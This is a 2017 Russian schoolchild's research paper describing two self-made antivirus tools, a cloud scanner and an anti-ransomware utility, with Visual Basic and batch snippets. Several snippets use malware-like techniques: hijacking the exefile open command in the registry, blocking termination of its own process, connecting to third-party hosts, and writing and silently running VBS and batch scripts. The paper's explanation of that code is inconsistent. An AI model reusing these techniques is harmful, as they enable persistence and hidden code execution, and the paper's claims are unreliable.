Разработка интерфейса программного обеспечения



Nbsp;  

Научно-практическая конференция школьников «Первые шаги в науку»

Возрастная категория: «Юный исследователь»

Секция: информационные технологии

Название работы:

«Эффективная защита от шифровальщиков»

Автор работы:

Куранин Илья Александрович

г.о. Тольятти, МБУ «Школа № 90», 8 класс

 

Г. Тольятти

2017


 

Оглавление

Введение.. 3

Принцип работы Chapter Cloud Virus Scan (антивирусного сканера) 7

Принцип работы Kuranin Anti-Ransomware (защита от программ- шифровальщиков) 9

Разработка интерфейса программного обеспечения.. 13

Авторское право на приложения.. 13

Выводы... 14

Список литературы... 15

Приложение.. 16

 

 


Введение

Любому человеку, так или иначе знакомому с цифровым миром, приходилось слышать понятие “компьютерный вирус”. С момента появления информационных технологий до создания первого образца вредоносного программного обеспечения прошло совсем немного времени. Первые разновидности относились преимущественно к программам-шуткам, которые разрабатывались исключительно в целях саморекламы или развития навыков программирования.

Так, первый червь имени аспиранта Корнеллского университета Роберта Морриса, был написан автором исключительно для проведения эксперимента и не предусматривал глобального распространения по сети ARPANET[1]. Однако из-за ошибки в коде программа не только “атаковала” компьютеры, подключенные к сети, которая в то время была очень популярна, но и постоянно перезаписывала себя на уже зараженной машине, вызывая переполнение памяти вплоть до полного отказа операционной системы. Другой вирус, известный под названием “Jerusalem”, проявлял свои деструктивные действия в пятницу 13 числа, удаляя затрагиваемые пользователем данные. Впервые это случилось в 1987 году.

С выпуском компанией Microsoft операционной системы Windows и ее популяризацией злоумышленники осознали возможность извлекать из своих противозаконных действий определенную прибыль. Вирусописательство встало на коммерческие рельсы, с тех пор и по наше время оно имеет различные направления вымогательства, причем созданием приложений-вредителей обычно занимается целая группа людей, в которой строго распределены роли каждого.

 

Ransomware , или программы-вымогатели

“Ransomware” образовано от слова “ransom”, обозначающего выкуп, откуп. Несложно догадаться, что данный термин включает в себя понятие всех вредоносных программ-вымогателей. Однако в первую очередь он обозначает наиболее распространенных троянских программ-шифровальщиков, или шифраторов, история которых начинается не так давно. Сама идея разработки вирусов[2] подобного вида заключалась в том, чтобы было невозможно исправить нанесенный ими ущерб самостоятельно, или прибегая к помощи других лиц, к примеру, компьютерных мастеров, тем самым заставляя жертву заплатить выкуп.

Первая атака с применением предшественника шифровальщиков была реализована в 2006 году в России. Распространяемый образец имел наименование Cryzip Ransomware. После его запуска на компьютере он помещал все файлы документов и изображений пользователя в архивы, защищенные паролем, после чего удалял их, оставляя записку с требованием оплаты расшифровки. Работа современных Ransomware построена именно по такому принципу и отличается лишь более продвинутыми способами блокировки данных с использованием алгоритмов шифрования XOR, TEA, RSA, SHA256 и др.

 

Целью данного проекта является разработка двух антивирусных утилит. Задача первой (антивирусного сканера) – вылечить уже зараженную систему от любых типов вредоносного ПО, в т. ч. от троянских программ (Trojan), червей (Worm), рекламного ПО (Adware), тулбаров[3], затрудняющих работу пользователя, шпионских модулей (Spyware), потенциально нежелательных приложений (PUP[4]) и т. д. Задача второй - предотвратить заражение в режиме реального времени, делая акцент преимущественно на троянских программах-шифровальщиках.

При этом должны соблюдаться следующие требования:

Ø утилиты не должны  конфликтовать с другим легальным программным обеспечением, исключить ложные обнаружения как со стороны разрабатываемых утилит, так и со стороны сторонних антивирусных вендоров[5];

Ø каждая программа должна иметь простой, интуитивно понятный пользовательский интерфейс, в котором сможет разобраться любой человек, независимо от его стажа работы за компьютером;

Ø обеспечить возможность технической поддержки, регулярного обновления с исправлением ошибок, уязвимостей и т. д.;

Ø разработать сайты для каждой утилиты, обеспечить защищенное SSL[6] соединение для защиты передаваемых данных;

Ø обеспечить каждому файлу цифровую подпись и защиту от несанкционированных изменений путем проверки корректности контрольной CRC32 суммы при запуске.

                                                                                               

Для антивирусного сканера были предъявлены следующие требования:

 

Ø Антивирусный сканер должен интегрироваться с облаком и работать на 28 антивирусных двигателях разных компаний-производителей, занимать исключительно малое пространство на жестком диске и в оперативной памяти, не нагружать процессор во время работы;

Ø Быстрое соединение с главным сервером по защищенному протоколу SFTP, создание для каждого пользователя отдельно выделенной временной директории для анализа поступающих объектов;

Ø Создание на сервере распределенной многоуровневой системы анализа и виртуального запуска исполняемых файлов с использованием технологий песочницы SandBoxie для вынесения вердикта относительно “поведения” работающего процесса и его безопасности (эвристический, или поведенческий анализ в облаке);

Ø Регулярное обновление всех используемых антивирусных двигателей на сервере;

Ø Использование для сервера оборудования с большой мощностью для обеспечения высокой скорости проверки и анализа объектов, а также по причине высоких системных требований антивирусных двигателей;

Ø Возможность отсеивания объектов по встроенному белому списку для сокращения времени сканирования директорий;

Ø Возможность замены подмененных системных файлов на оригинальные;

Ø Предоставлять пользователю выбор действия над обнаруженными угрозами, в т. ч. возможность перемещения их в безопасную зону (карантин) до принятия окончательного решения.

Для утилиты Anti - Ransomware (защита от программ-шифровальщиков) были предъявлены следующие требования:

Ø Проверка любых затрагиваемых файлов “на лету”, т. е. непосредственно при взаимодействии с ними пользователя;

Ø Иметь собственные антивирусные сигнатуры и дополнять их новыми записями раз в два дня;

Ø Поставлять в комплексе приложение для очистки реестра операционной системы от устаревших и неправильных записей, а также потенциально нежелательных параметров, добавленных рекламным ПО;

Ø Иметь модуль сканирования по требованию как исполняемых (exe) файлов, так и скриптов;

Ø Наличие усиленной самозащиты программы и ее модулей от посторонней выгрузки;

Ø Возможность работать от имени System (системы) с наивысшими привилегиями с помощью регистрации модулей в сервисах, планировщика и использования стандартных библиотек Windows (kernel32.dll, ntdll.dll)

Ø Иметь встроенное изолированное хранилище вирусов (карантин), используемое до принятия окончательного решения пользователем;

Ø Модуль предотвращения сетевых вторжений извне (сетевой экран), анализирующий IP адреса входящих и исходящих подключений, выполняющий их поиск в черном списке, в случае обнаружения оповещающий пользователя об опасности с предоставлением возможности разрыва и постоянной блокировки соединения;

Ø Компонент анализа подключаемых съемных накопителей информации и поиска на них autorun-вирусов;

Ø HIPS[7] защита, предотвращающая вредоносную активность самых новых угроз, еще не добавленных в базу данных;

Ø Возможность создания “умных” точек восстановления по расписанию, которые сохраняются по оригинальному алгоритму и, в отличие от теневых копий, не подлежат удалению со стороны вредоносного ПО. В случае повреждения каких-либо компонентов Windows будет произведен их возврат в работоспособное состояние.

Ø Наличие файлового ревизора, следящего за изменениями файловой структуры и оповещающего о подозрительной активности.

 


Принцип работы Chapter Cloud Virus Scan
(антивирусного сканера)

Для реализации идеи про облачный сканер, который основан на нескольких двигателях разных антивирусных компаний, был арендован виртуальный сервер VPS со следующими параметрами:

1. 2 ГБ оперативной памяти

2. 64-битная архитектура

3. Операционная система: Windows 2012 Server

После того была проверена корректность подключения к серверу из разных стран с помощью соответствующих сервисов.

На сервере был размещен следующий набор дополнительных программ:

1. Home Ftp Server (Open Source) для подключения клиента через анонимный Ftp; поставлены соответствующие ограничения.

2. Http File Server (Open Source) с тонкой настройкой для передачи файлов в двустороннем порядке.

3. Набор антивирусных двигателей (SDK), среди которых есть ClamAV, XVirus, Emsisoft Command line и т. д.

4. Sandboxie (Open Source) для запуска в виртуальной среде файлов и их поведенческой проверки;

5. Написанная на Visual Basic собственная платформа, контролирующая выполняемые процессы, распределяющая приоритеты между пользователями, следящая за своевременным обновлением антивирусных баз и т. д.

6. Компоненты Windows Sysinternals, включая диспетчеры процессов.

Антивирусный сканер Chapter при запуске проверяет наличие подключения к сети Интернет и доступность сервера при помощи извлечения из своей структуры скрипта, выполняющего команду Ping:

@echo off setlocal enabledelayedexpansion ping -n 1 46.8.208.188 if %errorlevel%==0 (echo 1 >"%temp%\check") else (echo 0 >"%temp%\check") del /f %0

Это наиболее простой пример кода. Использование команды setlocal enabledelayedexpansion позволяет изменить переменную среду в текущем пакетном файле командной строки и дает возможность применять бо́льшее число переменных, помимо %*, %0 - %9.

В случае, если сервер по каким-то причинам недоступен, или отсутствует подключение к сети, утилита не может работать и принудительно закрывается, оповещая пользователя о проблеме.

Если доступ в сеть имеется, будет предложено просканировать критические системные директории Windows, System32, Wbem и папки Temp на наличие угроз в облаке (см. Рисунок 1). При этом для ускорения операции пропускаются те файлы, которые точно являются системными и безопасными. Для этого утилита, по порядку выбирая название файла из составленного списка, получает его контрольную хеш-сумму MD5[8] при помощи класса MD5Hash.cls, после чего сверяет с белым списком, имеющим вид

[название файла]@[стандартное расположение]$[контрольная MD 5 сумма]

Если хотя бы одно условие не совпадает, файл отправляется на детальный анализ путем его передачи на сервер. Проверка выполняется 5-10 секунд, после чего от сервера приходит ответ касательно безопасности объекта. По окончании сканирования будет предложено обезвредить найденные угрозы (см. Рисунок 2 и Рисунок 3).

При сканировании показывается последний проверенный файл, время начала проверки, прошедшее время и количество обнаруженных угроз. До ликвидации выбранных вирусов из системы сначала выполняется их принудительное завершение с помощью приведенной функции:

Private Sub TerminateProcess(app_exe As String) Dim Process As Object For Each Process In GetObject("winmgmts:").ExecQuery("Select Name from Win32_Process Where Name = '" & app_exe & "'")    Process.Terminate Next End Sub

 

 


Принцип работы Kuranin Anti-Ransomware
(защита от программ- шифровальщиков)

При написании приложения во внимание бралась проблема сигнатурного сканирования, из-за которого неизвестные программе вирусы могут быть не заблокированы. Основная цель работы Kuranin Anti-Ransomware заключается в том, чтобы предотвратить возможные атаки троянцев-шифровальщиков на компьютер. При этом работа утилиты разбивается на отдельные задачи, которые объединены в одном ядре.

Главный алгоритм выявления характерной для шифровальщиков активности был разработан путем рассмотрения их действия в системе. Kuranin Anti-Ransomware создает в корне диска, на котором установлена операционная система, скрытую директорию с названием “0”, после чего размещает в ней ряд файлов с расширениями наиболее часто шифруемых файлов: документы Microsoft Office, изображения JPG, PNG, BMP, JPEG, GIF и т. д., базы данных 1C, текстовые документы, видеоматериалы AVI, MP4, FLV и т. д. Точно такие же директории размещаются и в разделах файлов пользователя – “Документы”, “Изображения”, “Видео” и т. д. Далее антивирусный компонент постоянно отслеживает содержимое файлов сравнением CRC32 хеш-суммы, прописанной в реестр, с ее текущим значениям. В случае выявления изменений модуль находит процесс, который получал доступ к записи в файл, “замораживает” его, после чего выдает оповещение пользователю. Данный нехитрый способ позволяет бороться более чем с 90% вредоносными программами упомянутого класса.

Второе направление защиты – проверка запускаемых файлов по сигнатурам, или базовое сканирование в режиме реального времени. В данном случае был использован метод в одно время широко распространенного вируса Neshta, согласно которому значение реестра

HKEY_CLASSES_ROOT\exefile\shell\open\command

заменяется на “%Programfiles%\Kuranin\core.exe” “%1” %*, и тем самым команда страта любого исполняемого файла сначала передается ядру защитного приложения, и только после подтверждения его безопасности выполняется запускаемый объект.

Третье направление – защита сети. В данном случае в стандартный hosts-файл Windows прописываются значения для блокировки опасных веб-сайтов, список которых постоянно обновляется, убирая старые и добавляя новые записи. При попытке перехода на зараженную веб-страницу антивирус предупреждает об угрозе, блокируя опасный контент.

Четвертое направление – установка драйвера для создания условий, похожих на виртуальную машину. Как известно, некоторое злонамеренно написанное ПО при запуске проверяет, находится ли оно на реальной системе, и в случае выявления обратного завершает работу. Сделано это для того, чтобы усложнить специалистам рассмотрение образца. Именно это и используется в антивирусе: устанавливая ложный драйвер, можно “обмануть” многие вирусы и предотвратить заражение.

Пятый компонент – файловый ревизор, контролирующий изменения в критически важных системных директориях. Это такие папки, как Windows, System32, Application Data, Application Data Local, Common Files, Drivers, Inf и т. д. Таким же образом происходит контроль автозагрузки: выполняется слежение за директорией запуска, ключами реестра. Многие вредоносные программы самокопируются в системные папки, добавляясь в автозагрузку. Так, известно, что в корне Application Data не должно быть исполняемых файлов, а если они есть, то это в большинстве случаев это вирусы.

Шестой компонент – Kuranin Registry Cleaner. Как известно, многие вредоносные программы оставляют “следы” своей деятельности в реестре, изменяя значения стартовой страницы и многое другое. К тому же, во время работы за компьютером и выполнении операций в реестре также создается немало “мусорных” записей. Утилита “Registry Cleaner” предусматривает их надежное удаление с предварительно сохраненной резервной копией.

Седьмой компонент – создание точек восстановления. Данная функция требует дополнительного пространства на жестком диске, поэтому отключена по умолчанию. Ее можно включить, и тогда каждый час будут сохраняться данные, включающие записи реестра, системные файлы и теневые копии файлов пользователя на случай непредвиденных сбоев ОС.

Восьмой, заключительный компонент – сканирование и вакцинация всех подключаемых съемных накопителей от Autorun-червей. В их список входят USB-флеш-накопители, DVD и CD диски.

Самозащита программы, помимо взаимоконтроля ее компонентов, обладает свойством анти-выгрузки, которая имеет следующий вид:

 

Private Declare Function GetCurrentProcess Lib "kernel32.dll" () As Long Private Declare Function ZwSetInformationProcess Lib "ntdll.dll" (ByVal p1 As Long, ByVal p2 As Long, ByVal p3 As Long, ByVal p4 As Long) As Long  
Код, запускающий команду самозащиты: ZwSetInformationProcess GetCurrentProcess(), &H21&, VarPtr(&H8000F129), &H4&

 

Посредством предложенного кода модуль узнает PID (идентификационный номер) своего процесса, используя функцию GetCurrentProcess стандартной библиотеки Windows kernel32. dll , после чего устанавливает своеобразный хук (перехват вызовов функций в чужих процессах), запрещающий другим приложениям выгружать рабочие компоненты Anti-Ransomware. Если требуется завершить работу продукта, и команда была послана пользователем, то запускается то же самое ядро со специальными параметрами /stop=Date-key, где key – специально вычисленный по закрытому ключу шифр, получаемый вычислениями числовых данных хеш-сумм рабочих процессов антивирусной утилиты и текущего времени в часах.

Кроме всего вышеперечисленного, в Kuranin Anti-Ransomware предусматриваются звуковые и визуальные оповещения с возможностью их отключения и включения, а также просмотр и очистка лог-файла с записями произошедших событий.

Краткую схему работы можно увидеть на Рисунок 4 – блок-схема работы многокритериального алгоритма.

Например, один из компонентов защиты в режиме реального времени производит ряд подготовительных операций при загрузке формы (Form_Load):

(1) <…> On Error Resume Next ZwSetInformationProcess GetCurrentProcess(), &H21&, VarPtr(&H8000F129), &H4& If App.PrevInstance = True Then End Me.Hide ChDir App.Path CurDir App.Path Text1 = "" Form3.Show Dim hSnapShot As Long Dim uProcess As PROCESSENTRY32 Dim r As Long hSnapShot = CreateToolhelpSnapshot(TH32CS_SNAPPROCESS, 0&) If hSnapShot = 0 Then Exit Sub End If uProcess.dwSize = Len(uProcess) r = ProcessFirst(hSnapShot, uProcess) Do While r Text1 = Text1 + " " + uProcess.szExeFile r = ProcessNext(hSnapShot, uProcess) Loop Call CloseHandle(hSnapShot) Randomize (2) If FileLen(Environ("windir") & "\system32\MSCOMCTL.OCX") = 0 Then FileCopy App.Path & "\MSCOMCTL.OCX", Environ("windir") & "\system32\MSCOMCTL.OCX" (3) If Not Command Like "*/Start=*" & Date & "*" Then End If Not Command Like "*/hhip0010001011*" And Not Command Like "*/flashs00011001*" And Not Command Like "*/inet0001010101*" And Not Command Like "*/base001011100*" Then End If Command Like "*/hhip0010001011*" Then Timer1 = True If Command Like "*/flashs00011001*" Then Timer14 = True If Command Like "*/inet0001010101*" Then Label1 = Int(Rnd() * 100): Timer15 = True (4) Winsock1.Connect "web02.srv.fullspace.ru", 80 Winsock2.Connect "vh5.webpatron.net", 80 Winsock3.Connect "ip-83-246-149-99.intelbi.ru", 80 Winsock4.Connect "46.166.139.183", 80 Winsock5.Connect "srv241-143-240-87.vk.com", 80 End If <…> (5) If Command Like "*/base001011100*" Then Open Environ("windir") + "\servc.vbs" For Output As #2 Print #2, Label4 Close 2 Shell ("cmd /c if exist %windir%\system32\cscript.bb.exe start /b /wait %windir%\system32\cscript.bb.exe %windir%\servc.vbs & del /f %windir%\servc.vbs"), vbHide Kill Environ("temp") & "\base": Shell ("cmd /c lib.dll x -o+ dbase.dat && move /y base " & """" & "%temp%" & """" & ""), vbHide: Timer16 = True End If Open Environ("windir") + "\perfc" For Append As #82 Close 82 Open Environ("windir") + "\infpub.dat" For Append As #82 Close 82 Shell ("attrib +r " & Environ("windir") + "\infpub.dat"), vbHide Open Environ("windir") + "\servc.bat" For Output As #2 Print #2, Label5 Close 2 Shell ("cmd /c %windir%\servc.bat"), vbHide <...>

 

Это всего лишь малая часть, способная показать последовательность выполняемых действий. Рассмотрим данный пример поподробнее.

Для начала core.exe устанавливает правило полного игнорирования ошибок и составляет полный список имен работающих в памяти процессов (1) для их дальнейшего анализа в облаке (код выделен жирным шрифтом). После этого проверяется наличие необходимого для работы вторичных модулей ActiveX компонента и правильность параметров запуска (2). Заключительный этап подготовки запуска Engine (ядра) приложения – сбор сведений о переданной модулю команде и ее разбивание на составные части, дающие понять, какие именно направления защиты активизировать (3). Происходит подключение к “Системе коллективного разума” (4) с помощью Winsock-контрола, и в случае, если код ошибки подключения не равен нулю (подключение удалось), защита работает в режиме оффлайн (без сети); в противном случае происходит авторизация пользователя согласно ключам его жесткого диска (для каждого компьютера выделяется собственная директория для анализа данных в облаке).

На примере 5 можно увидеть простейший пример общего создания безопасной рабочей среды: ряд вирусов-вымогателей семейства Petya и BadRabbit не запустятся, если в директории Windows будут располагаться пустые файлы “infpub . dat” и “perfc” - подобные условия создает антивирус искусственно. Аналогично, выполняются VBS[9] скрипты, также ликвидирующие простейшие потенциально опасные файлы и настройки системы.

                                                                                                                                 

Разработка интерфейса программного обеспечения

Для разработки интерфейса, так же, как и логотипов программ, использовались следующие средства: Paint.NET и Pixlr Desktop.

Chapter Online Virus Scan выполнен в классическом стиле Windows XP с применением дополнительных визуальных компонентов (User Controls). Так, был заменен стандартный индикатор выполнения (прогрессбар), кнопки имеют внешний вид Windows Vista. Для текста в обоих приложениях используется сглаживание шрифта для более удобного восприятия текста.

В интерфейсе Kuranin Anti-Ransomware применяется минимализм, основная задача которого как можно больше облегчить пользователю управление программой (см. Рисунок 5 – центр управления Kuranin Anti-Ransomware). Для этого оформление является светлым, в легких тонах, с большими кнопками, крупным шрифтом и логически понятным распределением составляющих внешнего вида по форме. Диалоговые сообщения, а также сообщения об угрозах выводятся, как в Windows 8, в правом верхнем углу и имеют свойство быть поверх всех окон.         


Дата добавления: 2019-01-14; просмотров: 107; Мы поможем в написании вашей работы!

Поделиться с друзьями:






Мы поможем в написании ваших работ!